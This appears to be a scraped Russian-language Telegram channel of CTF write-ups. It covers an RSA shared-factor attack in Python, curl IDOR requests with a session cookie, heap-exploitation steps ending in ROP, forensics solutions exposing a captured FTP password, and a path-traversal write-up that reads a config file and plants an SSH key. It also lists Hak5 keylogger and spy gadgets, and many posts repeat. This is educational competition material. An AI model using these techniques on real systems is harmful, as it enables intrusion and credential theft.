Арсенал для пентестера и red team — аппаратные гаджеты Hak5:
⚡️ WiFi-Pineapple
Точка доступа для атак на Wi-Fi: перехват клиентов, MITM, фишинг, автоматизация сетевых атак.
🦆 USB Rubber Ducky
«Флешка-утка», определяется как клавиатура и вводит полезные нагрузки быстрее человека.
🦈 Shark Jack
Карманный RJ45-гаджет: воткнул в порт — моментальный пентест, сканирование и запуск скриптов.
📺 Screen Crab
Невидимый HDMI-шпион: подключается между ПК и монитором, записывает экран или стримит его.
🐿 Packet Squirrel
Мини-сниффер Ethernet: перехват трафика, VPN-туннель, MITM-атаки.
🐊 Key Croc
USB-кейлоггер: фиксирует ввод с клавиатуры и реагирует на определённые триггеры.
🐰 Bash Bunny
Мощный «швейцарский нож»: LAN, HID, Storage-режимы для комплексных атак и автоматизации.
📚 На все устройства прикладываю официальную документацию в PDF
Сохраняйте! чтобы было удобнее работать в полях🖱
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
⚡️ WiFi-Pineapple
Точка доступа для атак на Wi-Fi: перехват клиентов, MITM, фишинг, автоматизация сетевых атак.
🦆 USB Rubber Ducky
«Флешка-утка», определяется как клавиатура и вводит полезные нагрузки быстрее человека.
🦈 Shark Jack
Карманный RJ45-гаджет: воткнул в порт — моментальный пентест, сканирование и запуск скриптов.
📺 Screen Crab
Невидимый HDMI-шпион: подключается между ПК и монитором, записывает экран или стримит его.
🐿 Packet Squirrel
Мини-сниффер Ethernet: перехват трафика, VPN-туннель, MITM-атаки.
🐊 Key Croc
USB-кейлоггер: фиксирует ввод с клавиатуры и реагирует на определённые триггеры.
🐰 Bash Bunny
Мощный «швейцарский нож»: LAN, HID, Storage-режимы для комплексных атак и автоматизации.
📚 На все устройства прикладываю официальную документацию в PDF
Сохраняйте! чтобы было удобнее работать в полях
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
#crypto #medium #writeup
Kuban CTF – "Двойная проблема" от @Max_RSC (ТОП-10 на HackerLab)
Перед нами очередная задачка из мира CTF, где дают слегка кривую (точнее — уязвимую) реализацию RSA. В этот раз на входе у нас два модуля n1 и n2, одинаковая публичная экспонента e, и одно зашифрованное сообщение c. Все необходимые данные приведены непосредственно в тексте поста, поэтому отдельный файл не прикладывается.
Ключевой момент: когда дают сразу два разных n, у них может оказаться общий делитель. Если так, то мы фактически получаем одно из простых чисел, из которых складывается модуль n. Безопасность RSA держится на сложности факторизации, и как только мы каким-то образом обошли эту сложность, остальное — детская арифметика. То есть задача опирается на тот факт, что RSA небезопасен, если модули разделяют хотя бы один множитель. Если мы найдем один из множителей, например, p, то после этого сможем легко посчитать функцию Эйлера, найти приватную экспоненту d и расшифровать флаг.
Чтобы найти p, подтягиваем функцию gcd из библиотеки math:
Подставляем числа, которые даны по условию:
Вычисляем общий делитель:
Теперь у нас на выбор два пути: либо закинуть все это добро в онлайн‑сервис (вроде dcode.fr) и быстро получить результат, либо честно проделать руками в Python — ради спортивного интереса займемся вторым (хотя на соревнованиях я выбираю первое :D)
Находим второй множитель для n1. Про n2 в данном случае можно смело забыть — он уже отработал свое:
Считаем значение функции Эйлера, то есть phi от n1:
Далее вычисляем приватную экспоненту:
Ну и кульминация: расшифровываем сообщение:
Остался финальный штрих — превратить число в строку. Новичков может сбить с толку момент с bytes.fromhex(...). Дело в том, что функция ждет строку из шестнадцатеричных символов. Когда мы пишем hex(m), то получаем строку вида '0x...'. Поэтому [2:] аккуратно обрезает приставку '0x', и тогда все работает без ошибок:
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Kuban CTF – "Двойная проблема" от @Max_RSC (ТОП-10 на HackerLab)
Перед нами очередная задачка из мира CTF, где дают слегка кривую (точнее — уязвимую) реализацию RSA. В этот раз на входе у нас два модуля n1 и n2, одинаковая публичная экспонента e, и одно зашифрованное сообщение c. Все необходимые данные приведены непосредственно в тексте поста, поэтому отдельный файл не прикладывается.
Ключевой момент: когда дают сразу два разных n, у них может оказаться общий делитель. Если так, то мы фактически получаем одно из простых чисел, из которых складывается модуль n. Безопасность RSA держится на сложности факторизации, и как только мы каким-то образом обошли эту сложность, остальное — детская арифметика. То есть задача опирается на тот факт, что RSA небезопасен, если модули разделяют хотя бы один множитель. Если мы найдем один из множителей, например, p, то после этого сможем легко посчитать функцию Эйлера, найти приватную экспоненту d и расшифровать флаг.
Чтобы найти p, подтягиваем функцию gcd из библиотеки math:
from math import gcd
Подставляем числа, которые даны по условию:
n1 = 85301229878846970301323107702818609695755812591124862399151849850592748938587788039100822431199468780483863005508930154818093365993106028516482945027104435477220021520315775763582770886230113033749748971338316409196598045001663482949869374010947883957820793242137793210215930782186351794325806945717508347881
n2 = 109513893064865824312887126037695992618837379743053225051510712684706298394844250173030307725980622229363463153247419002611731684061578669993893758240971054995662819118490841792391822485215186261857628830400956404892168386609596159676364114308057445982469895464743365411603666960249026127185036946732158072467
e = 65537
c = 80523060741828874775927939583674208314359823391190778967023421748976347340246911181413681174368696929906966394615901583879335335760357963720615301569603850444832668348817460953008596314270793433890476685628856002996942980704863201169642782967237984763737464120837902881702995220342897353879003315047260081532
Вычисляем общий делитель:
p = gcd(n1, n2)
Теперь у нас на выбор два пути: либо закинуть все это добро в онлайн‑сервис (вроде dcode.fr) и быстро получить результат, либо честно проделать руками в Python — ради спортивного интереса займемся вторым (хотя на соревнованиях я выбираю первое :D)
Находим второй множитель для n1. Про n2 в данном случае можно смело забыть — он уже отработал свое:
q = n1 // p
Считаем значение функции Эйлера, то есть phi от n1:
phi_n1 = (p - 1) * (q - 1)
Далее вычисляем приватную экспоненту:
d = pow(e, -1, phi_n1)
Ну и кульминация: расшифровываем сообщение:
m = pow(c, d, n1)
Остался финальный штрих — превратить число в строку. Новичков может сбить с толку момент с bytes.fromhex(...). Дело в том, что функция ждет строку из шестнадцатеричных символов. Когда мы пишем hex(m), то получаем строку вида '0x...'. Поэтому [2:] аккуратно обрезает приставку '0x', и тогда все работает без ошибок:
flag = bytes.fromhex(hex(m)[2:])
print(flag)
Please open Telegram to view this post
VIEW IN TELEGRAM
❤30🔥7 2
corpfiles_src.zip
32.6 KB
#web #medium #writeup
Kuban CTF – "Корпоративное хранилище" от @LiamSOMHOLD
Есть две уязвимости это ошибка в обработке user_id в /api/files (То есть можно подставить два user_id и обмануть проверку) и отсутствие проверки владельца при загрузке файла /file/<file_id>
И получил ответ
Ну и дальше
И будет сам флаг.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Kuban CTF – "Корпоративное хранилище" от @LiamSOMHOLD
Это не просто папки и файлы, это настоящая крепость... ну, или так кажется. Попытайся не спалиться и докопаться до сокровищ. Кто знает, может, там и не только отчёты по бюджету.
Формат флага: CSC{...}
Есть две уязвимости это ошибка в обработке user_id в /api/files (То есть можно подставить два user_id и обмануть проверку) и отсутствие проверки владельца при загрузке файла /file/<file_id>
curl -s "http://62.173.139.193:16003/api/files?user_id=1&user_id=23" \
-H "Cookie: session=eyJ1c2VyX2lkIjoyM30.aKmUNw.Rm7rIOuABeAEHoyrtOGu-w-GoOQ"
И получил ответ
{"files":[{"file_id":"b00b73ebe000","filename":"secret.txt"}]}Ну и дальше
curl -s "http://62.173.139.193:16003/file/b00b73ebe000" \
-H "Cookie: session=eyJ1c2VyX2lkIjoyM30.aKmUNw.Rm7rIOuABeAEHoyrtOGu-w-GoOQ"
И будет сам флаг.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14
yourock.tar.gz
18.2 KB
#misc
corCTF 2025 – “you rock” от @dontunique
Нам дан бинарь и описание:
Правильный ключ восстанавливается, если взять оригинальный список RockYou из 2009 года, сопоставить каждое слово из encoded.rj с его индексом в этом списке (0‑based) и затем восстановить исходный
текст с помощью бинаря encode.
Поскольку первые два числа в выходе encode закодированы случайно, для первой буквы применяется XOR d0 ^ d1, а для каждой следующей буквы подбирается символ такой, что при его подстановке в текущее сообщение вызов encode выдаёт соответствующий d — это и даёт исходные символы.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
corCTF 2025 – “you rock” от @dontunique
Нам дан бинарь и описание:
Forget Enigma, forget Caesar. The only cipher you need is 2009's infamous password dump.
Правильный ключ восстанавливается, если взять оригинальный список RockYou из 2009 года, сопоставить каждое слово из encoded.rj с его индексом в этом списке (0‑based) и затем восстановить исходный
текст с помощью бинаря encode.
Поскольку первые два числа в выходе encode закодированы случайно, для первой буквы применяется XOR d0 ^ d1, а для каждой следующей буквы подбирается символ такой, что при его подстановке в текущее сообщение вызов encode выдаёт соответствующий d — это и даёт исходные символы.
Please open Telegram to view this post
VIEW IN TELEGRAM
little_sploit.py
4.4 KB
#pwn #kasperskyctf2025
Kaspersky{CTF} - beta-test, 478 points от @tonysdx
💡 Идея:
У нас есть приложение, где можно создавать storages, с items внутри. Также можно редактировать контент внутри items и удалять их.
В
Также у нас есть
👹 Уязвимость:
1. Use-after-free — когда storage освобождается, его указатель остаётся в массиве
2. Downcasting размера описания item — если мы вводим описание длиной 255, программа преобразует его к 0.
3. Off-by-one — если у item описание нулевого размера, программа запишет нулевой байт за пределами буфера (
4. Uninitialized variable output — если мы введём что-то некорректное в меню, программа выведет неинициализированную переменную со стека.
💉 Эксплуатация:
1. Ликаем адрес стека, введя некорректный пункт меню — например,
2. Создаём storage #0 размером с feedback control chunk —
3. После создания
4. Заполняем
5. Освобождаем item #0 — это будет 7-й chunk в
6. Аллоцируем структуру
7. С этого момента мы можем декрементировать указатель feedback, используя вторую и третью уязвимости. Также у нас появляется read/write примитив по адресу, на который указывает control chunk feedback. Однако в данный момент мы можем двигаться только назад, уменьшая на единицу указатель.
8. Начинаем декрементировать указатель, аллоцируя items с описанием длиной 255. После аллокации нужно вызвать update для этих chunks, и так как размер item'а равен 0 (из-за downcasting), нулевой байт запишется до буфера, а именно в поле индекса storage.
9. После удаления этих обновлённых нулевых по размеру chunks мы уменьшаем на единицу первые 8 байт нулевого хранилища. А это указатель на строку в feedback's control chunk.
10. Наша главная цель — декрементировать указатель feedback так, чтобы он указывал сам на себя, и тогда мы сможем переписать его на любой другой адрес.
11. В любой момент мы можем вызвать функцию
12. Для раскодирования mangled адресов используем функцию моего эксплойта
13. Наша задача сделать так, чтобы при помощи обновления item мы могли изменять поинтер строки
14. Аллоцируем ещё один storage любого размера и 1 item размером меньше 255. Считаем его адрес, используя раскодированный heap-адрес выше и смещение от начала сегмента.
15. Аллоцированный item на шаге 14 будет chunk’ом для управления указателем feedback. Переписываем адрес control chunk feedback в бинарнике на наш контролируемый chunk (не забудьте добавить смещение — первые 2 байта items очень сложно обновить). Теперь можно обновить item с 14 шага, и он перепишет указатель на строку feedback. Мы получили AR/AW!
16. Ликаем libc через
17.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Kaspersky{CTF} - beta-test, 478 points от @tonysdx
У нас есть приложение, где можно создавать storages, с items внутри. Также можно редактировать контент внутри items и удалять их.
В
storage у нас есть счетчик items, который при достижении 0, освобождает весь storage. Также у нас есть
feedback, который аллоцируется при первом вызове функции leave_feedback. После того как он аллоцирован, мы можем только редактировать содержимое его строки, которая хранится в отдельном чанке на хипе.👹 Уязвимость:
1. Use-after-free — когда storage освобождается, его указатель остаётся в массиве
storages_arr. 2. Downcasting размера описания item — если мы вводим описание длиной 255, программа преобразует его к 0.
3. Off-by-one — если у item описание нулевого размера, программа запишет нулевой байт за пределами буфера (
size_of_buffer - 1). Именно там в структуре item хранится индекс storage.4. Uninitialized variable output — если мы введём что-то некорректное в меню, программа выведет неинициализированную переменную со стека.
💉 Эксплуатация:
1. Ликаем адрес стека, введя некорректный пункт меню — например,
something_wrong. 2. Создаём storage #0 размером с feedback control chunk —
0x10 и item с описанием того же размера. 3. После создания
storage, если ввести неверный пункт в меню, получаем leak адреса бинарника. 4. Заполняем
0x20 tcache bin, аллоцируя 2 storages с описанием storage (размер - 1 байт) и описанием item (размер - 0x10 байт). readstr2 очень быстро заполнит tcache, так как всё в задаче использует calloc, который не может переиспользовать chunk из tcache и постоянно берет новые чанки. 5. Освобождаем item #0 — это будет 7-й chunk в
0x20 tcache bin. Поскольку счётчик items в storage #0 станет равен 0, он тоже освободится, и его указатель попадёт в fastbin.6. Аллоцируем структуру
feedback — она должна взять fastbin chunk для control chunk, так что теперь у нас есть указатель на неё в storage_arr[0]. 7. С этого момента мы можем декрементировать указатель feedback, используя вторую и третью уязвимости. Также у нас появляется read/write примитив по адресу, на который указывает control chunk feedback. Однако в данный момент мы можем двигаться только назад, уменьшая на единицу указатель.
8. Начинаем декрементировать указатель, аллоцируя items с описанием длиной 255. После аллокации нужно вызвать update для этих chunks, и так как размер item'а равен 0 (из-за downcasting), нулевой байт запишется до буфера, а именно в поле индекса storage.
9. После удаления этих обновлённых нулевых по размеру chunks мы уменьшаем на единицу первые 8 байт нулевого хранилища. А это указатель на строку в feedback's control chunk.
10. Наша главная цель — декрементировать указатель feedback так, чтобы он указывал сам на себя, и тогда мы сможем переписать его на любой другой адрес.
11. В любой момент мы можем вызвать функцию
leave_feedback, и она выведет байты с текущего указателя, так что по пути собираем mangled heap key. 12. Для раскодирования mangled адресов используем функцию моего эксплойта
crack_mangle_addr.13. Наша задача сделать так, чтобы при помощи обновления item мы могли изменять поинтер строки
feedback. Для этого дойдя до control chunk нашим указателем строки, мы переписываем его же на указатель на control chunk в сегменте самого бинаря. 14. Аллоцируем ещё один storage любого размера и 1 item размером меньше 255. Считаем его адрес, используя раскодированный heap-адрес выше и смещение от начала сегмента.
15. Аллоцированный item на шаге 14 будет chunk’ом для управления указателем feedback. Переписываем адрес control chunk feedback в бинарнике на наш контролируемый chunk (не забудьте добавить смещение — первые 2 байта items очень сложно обновить). Теперь можно обновить item с 14 шага, и он перепишет указатель на строку feedback. Мы получили AR/AW!
16. Ликаем libc через
GOT-table, считаем адрес RSP при возврате из AW-функции эксплойта и кладём ROP на стек. 17.
cat flag.txtPlease open Telegram to view this post
VIEW IN TELEGRAM
🔥12😱4 3 2
writeup_sploit.py
671 B
#pwn #kasperskyctf2025
Kaspersky{CTF} - flag-what-where, 50 points от @tonysdx
💡 Идея:
Бинарник считывает флаг на
После этого у нас есть 3 попытки прочитать произвольные байты памяти по заданному адресу, после чего программа завершается.
👹 Уязвимость:
Функция
Поэтому часть флага можно найти в heap-памяти.
Почему только часть, а не весь флаг?
Потому что
Кроме того, бинарник собран без PIE, так что вычислить необходимые смещения не представляет труда.
💉Эксплуатация:
1. Помещаем
2. Используем команду
3. Находим участок heap, где лежит часть флага, и вычисляем смещение от начала сегмента heap.
4. Получаем leak libc через
📝 Заметки:
Сначала я думал, что придётся искать первую часть флага, которая затирается, где-то еще. Но организаторы предусмотрели это: весь флаг оказался доступен в heap.
Я просто вычел 16 из изначально вычисленного смещения и получил полный флаг.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Kaspersky{CTF} - flag-what-where, 50 points от @tonysdx
Бинарник считывает флаг на
stack через функцию fgets, а затем затирает его с помощью memset. После этого у нас есть 3 попытки прочитать произвольные байты памяти по заданному адресу, после чего программа завершается.
👹 Уязвимость:
Функция
fgets, как и многие другие функции из glibc, при чтении строки из stdin использует буферы на heap. Поэтому часть флага можно найти в heap-памяти.
Почему только часть, а не весь флаг?
Потому что
fgets освобождает буфер после завершения работы, и первые N байт затираются служебными данными. Кроме того, бинарник собран без PIE, так что вычислить необходимые смещения не представляет труда.
💉Эксплуатация:
1. Помещаем
cyclic(128) в файл flag.txt, патчим бинарник на использование тех же библиотек, что и в docker-контейнере, и запускаем в gdb. 2. Используем команду
search -t bytes "aaaa". 3. Находим участок heap, где лежит часть флага, и вычисляем смещение от начала сегмента heap.
4. Получаем leak libc через
GOT-table, leak heap из main_arena, и читаем данные по рассчитанному на шаге 3 смещению. Сначала я думал, что придётся искать первую часть флага, которая затирается, где-то еще. Но организаторы предусмотрели это: весь флаг оказался доступен в heap.
Я просто вычел 16 из изначально вычисленного смещения и получил полный флаг.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11 2🔥1
writeup_sploit.py
771 B
#pwn #kasperskyctf2025
Kaspersky{CTF} - Translator, 50 points от @tonysdx
💡 Идея задачи:
Бинарник читает 16 байт из
При этом у нас есть всего 10 попыток для ввода правильного ответа.
👹 Уязвимость:
1. В функции
2. Бинарник никогда не закрывает файловые дескрипторы, поэтому их можно открывать сколько угодно.
3. В функции
💉 Эксплуатация:
1. Сначала открываем 255 файловых дескрипторов, используя первые две уязвимости.
2. Когда бинарник откроет 256-й дескриптор, downcast превратит его индекс в
3. Теперь бинарник будет вычислять
4. Достаточно передать константную строку (например,
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Kaspersky{CTF} - Translator, 50 points от @tonysdx
Бинарник читает 16 байт из
/dev/random, вычисляет их хэш с помощью SHA512, затем XOR'ит байты флага с этим хэшем, выводит результат и предлагает угадать флаг. При этом у нас есть всего 10 попыток для ввода правильного ответа.
👹 Уязвимость:
1. В функции
main есть off-by-one уязвимость в scanf, что позволяет перезаписать счётчик попыток нулевым байтом и тем самым получить неограниченное количество попыток. 2. Бинарник никогда не закрывает файловые дескрипторы, поэтому их можно открывать сколько угодно.
3. В функции
read_file индекс файлового дескриптора приводится к типу int8. 💉 Эксплуатация:
1. Сначала открываем 255 файловых дескрипторов, используя первые две уязвимости.
2. Когда бинарник откроет 256-й дескриптор, downcast превратит его индекс в
0, и чтение произойдёт не из /dev/random, а из stdin. 3. Теперь бинарник будет вычислять
SHA512 не от случайных байтов, а от нашего ввода. 4. Достаточно передать константную строку (например,
b"A" * 16), вычислить её SHA512-хэш (или просто вынуть его из отладчика), а затем сделать XOR байтов вывода программы и байтов известного хэша — и мы получаем флаг.Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from MEPhI CTF (Pavel Blinnikov)
Мы поддерживаем "Хакер" в их призыве комментировать поправки Минцифры на официальном сайте. Оставить Россию без ИБ в текущий момент — очень вредное решение.
Самое интересное здесь, что поправки не решают никаких проблем, а только создают новые: киберпреступники на то и преступники, чтобы нарушать законы и продолжать спокойно обмениваться информацией на даркнет форумах. В то время как исследователям, преподавателям и просто энтузиастам необходима возможность легально обмениваться опытом и сведениями как о наступательной так и об оборонительной безопасности. Лишить граждан целого государства такой возможности значит остаться без специалистов в принципе. А они у нас пока есть.
Самое интересное здесь, что поправки не решают никаких проблем, а только создают новые: киберпреступники на то и преступники, чтобы нарушать законы и продолжать спокойно обмениваться информацией на даркнет форумах. В то время как исследователям, преподавателям и просто энтузиастам необходима возможность легально обмениваться опытом и сведениями как о наступательной так и об оборонительной безопасности. Лишить граждан целого государства такой возможности значит остаться без специалистов в принципе. А они у нас пока есть.
XAKEP
Предложение Минцифры сделает нормальную работу «Хакера» невозможной
В Минцифры РФ предложили пакет мер по борьбе с кибермошенничеством. Среди них — запрет на распространение информации, связанной с практикой ИБ. В случае вступления этих мер в силу более половины статей «Хакера» окажется вне закона. Подписчики потеряют к ним…
❤15
Райтапы по CTF{2025}
Ребят, кто вступил в нашу супер-тиму но не вступит в чат
Просьба написать @freenameruuuu, направлю ссылку на вступление в чат!
Просьба написать @freenameruuuu, направлю ссылку на вступление в чат!
#forensics #medium #writeup
Kuban CTF – Файловый трансфер от @Rean1mat0r (ТОП-5 на HackerLab)
Открываем дамп трафика в Wireshark и смотрим файлы в дампе:
Файл -> Экспортировать объекты -> FTP-Data
Сохраняем архив archive.zip, он запаролен
Смотрим TCP потоки и в потоке 5 находим:
220 (vsFTPd 3.0.5)
USER transfer
331 Please specify the password.
PASS 7+N42D(Msj9:
230 Login successful.
Пароль подходит к архиву, в архиве файл secure_creds.txt с таким содержимым:
/RteVGJrn
PMkEaBLVfp
/RteVGJrn очень похоже на какой то эндпоинт
Исследуем TCP потоки и в потоке 13 находим адрес pastebin.com
Заходим на pastebin.com/RteVGJrn вводим пароль PMkEaBLVfp и получаем заметку с флагом
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Kuban CTF – Файловый трансфер от @Rean1mat0r (ТОП-5 на HackerLab)
Открываем дамп трафика в Wireshark и смотрим файлы в дампе:
Файл -> Экспортировать объекты -> FTP-Data
Сохраняем архив archive.zip, он запаролен
Смотрим TCP потоки и в потоке 5 находим:
220 (vsFTPd 3.0.5)
USER transfer
331 Please specify the password.
PASS 7+N42D(Msj9:
230 Login successful.
Пароль подходит к архиву, в архиве файл secure_creds.txt с таким содержимым:
/RteVGJrn
PMkEaBLVfp
/RteVGJrn очень похоже на какой то эндпоинт
Исследуем TCP потоки и в потоке 13 находим адрес pastebin.com
Заходим на pastebin.com/RteVGJrn вводим пароль PMkEaBLVfp и получаем заметку с флагом
Please open Telegram to view this post
VIEW IN TELEGRAM
1 12 2 1 1
#forensics #medium #writeup
Kuban CTF – MTF от @Rean1mat0r (ТОП-5 на HackerLab)
Дан дамп MFT
Гуглим MFT Forensics и находим утилиту MFT Explorer
Открываем в ней наш дамп и изучаем
Проверяем папки пользователя, такие как Desktop, Documents, Downloads. Ничего интересного не находим. Но в файле истории команд Powershell ".\Users\trager\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" находим такое:
ASCII: cd ~/Desktop
1..5 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..50 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..150 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
ping 192.168.58.132
cd C:\Windows\
ls
echo 1 > Doc
ls
echo "43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D" > Doc
cat .\Doc
cd C:\Users\trager\Downloads\
ls
./fast_x64.exe --packages dump --dump mft
.\FastIR_x64.exe --packages dump --dump mft
Декодим из хекс 43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D и получаем флаг
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Kuban CTF – MTF от @Rean1mat0r (ТОП-5 на HackerLab)
Дан дамп MFT
Гуглим MFT Forensics и находим утилиту MFT Explorer
Открываем в ней наш дамп и изучаем
Проверяем папки пользователя, такие как Desktop, Documents, Downloads. Ничего интересного не находим. Но в файле истории команд Powershell ".\Users\trager\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" находим такое:
ASCII: cd ~/Desktop
1..5 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..50 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..150 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
ping 192.168.58.132
cd C:\Windows\
ls
echo 1 > Doc
ls
echo "43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D" > Doc
cat .\Doc
cd C:\Users\trager\Downloads\
ls
./fast_x64.exe --packages dump --dump mft
.\FastIR_x64.exe --packages dump --dump mft
Декодим из хекс 43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D и получаем флаг
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from CyberCamp
Все на борт! CyberCamp 2025 открывает регистрацию 😎
Кэмп пройдет в онлайне с 20 по 25 октября! Тема этого года — Киберустойчивость. Мы разберем, как эффективно действовать в условиях постоянных кибератак. В программе:
🔤 40+ докладов и выступлений от экспертов из компаний BI.ZОNE, F6, Ozon, Positive Technologies, Inseca, Инфосистемы Джет, Лаборатория Касперского и др. Часть докладов будут доступны еще до эфира!
🔤 10 000+ соло-участников и 40+ практических заданий от авторов кэмпа, спикеров и комьюнити
🔤 1 000 участников и 15+ сценариев командных киберучений в корпоративной и студенческой лигах
🔤 курсы и практика по ИБ от ведущих учебных центров, а также экзамен в кандидаты ССК
🔤 онлайн-консультации тет-а-тет с топовыми специалистами на волнующие темы в кибербезе
🔤 7 000 000 рублей 🪙 общего призового фонда для команд и соло-участников
Залетай на CyberCamp 2025 — первые задания уже доступны после регистрации☀️
©️ Регистрация l 😺 Чат
Кэмп пройдет в онлайне с 20 по 25 октября! Тема этого года — Киберустойчивость. Мы разберем, как эффективно действовать в условиях постоянных кибератак. В программе:
Залетай на CyberCamp 2025 — первые задания уже доступны после регистрации
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9 6 3 1
public-rock-n-rollback.tar.gz
953.6 KB
#pwn
rock-n-rollback 🪓
Теперь нет необходимости запоминать указатели и вызывать free!
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
rock-n-rollback 🪓
Теперь нет необходимости запоминать указатели и вызывать free!
45.12.114.80:32002
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
Please open Telegram to view this post
VIEW IN TELEGRAM
public-undefined-pointer.tar.gz
952 KB
#pwn
undefined-pointer🧑💻
Один дед на курсах программирования всегда подчеркивал важность инициализации переменных при их объявлении. Думаю, ничего страшного не произойдет, если я сделаю это позже.
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
undefined-pointer🧑💻
Один дед на курсах программирования всегда подчеркивал важность инициализации переменных при их объявлении. Думаю, ничего страшного не произойдет, если я сделаю это позже.
45.12.114.80:32000
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
Please open Telegram to view this post
VIEW IN TELEGRAM
Райтапы на Alfa-CTF можно прислать @freenameruuuu после 18:00!
Оперативно выложу!
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Оперативно выложу!
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
Райтапы по CTF{2025}
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ
💬 Наш ламповый чатик: @writeup_chat
✍️ По любому вопросу можно писать мне: @freenameruuuu
✅ Таски решать тут: @writeup_ctf_bot
💬 Наш ламповый чатик: @writeup_chat
✍️ По любому вопросу можно писать мне: @freenameruuuu
✅ Таски решать тут: @writeup_ctf_bot
❤7 5 2
Райтапы по CTF{2025}
Райтапы на Alfa-CTF можно прислать @freenameruuuu после 18:00! Оперативно выложу! 💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Звуки ностальгии.pdf
7.7 MB
Я знаю, вы хотели этот райтап!
#osint #alfactf2025
Звуки ностальгии автор: @p_domarev
UPD: альтернативный вектор от @Pep_macgvai
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
#osint #alfactf2025
Звуки ностальгии автор: @p_domarev
UPD: альтернативный вектор от @Pep_macgvai
Смотрим информацию о клипе в https://ru.wikipedia.org/wiki/Wake_Me_Up_When_September_Ends
Сравниваем с https://en.wikipedia.org/wiki/Wake_Me_Up_When_September_Ends
Ради интереса открываем историю правок и находим правку от 1 сентября 2023 года с точным адресом
https://en.wikipedia.org/w/index.php?title=Wake_Me_Up_When_September_Ends&oldid=1173357244
проверяем на картах убеждаемся в точности и сдаём флаг
Please open Telegram to view this post
VIEW IN TELEGRAM
❤14🔥5
#web #alfactf2025
Защита от спама от моего дорогого друга и создателя @duckerz: @myqookie
Ребята заняли 9 место!
Следующим образом можно вывести все файлы в текущей директории:
Из полученного вывода можно увидеть файл .config.yaml
Далее можно прочитать этот файл:
Содержимое .config.yaml:
Через уязвимость path traversal при загрузке файлов можно создать файл authorized_keys2 в .ssh в домашней директории пользователя.
После этого коннектимся по ssh и получаем флаг
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Защита от спама от моего дорогого друга и создателя @duckerz: @myqookie
Ребята заняли 9 место!
Следующим образом можно вывести все файлы в текущей директории:
GET /api/files?path=. HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Из полученного вывода можно увидеть файл .config.yaml
{"name":".config.yaml","path":".config.yaml","is_directory":false,"size":345,"modified":1757791038}Далее можно прочитать этот файл:
GET /api/content?path=.config.yaml HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
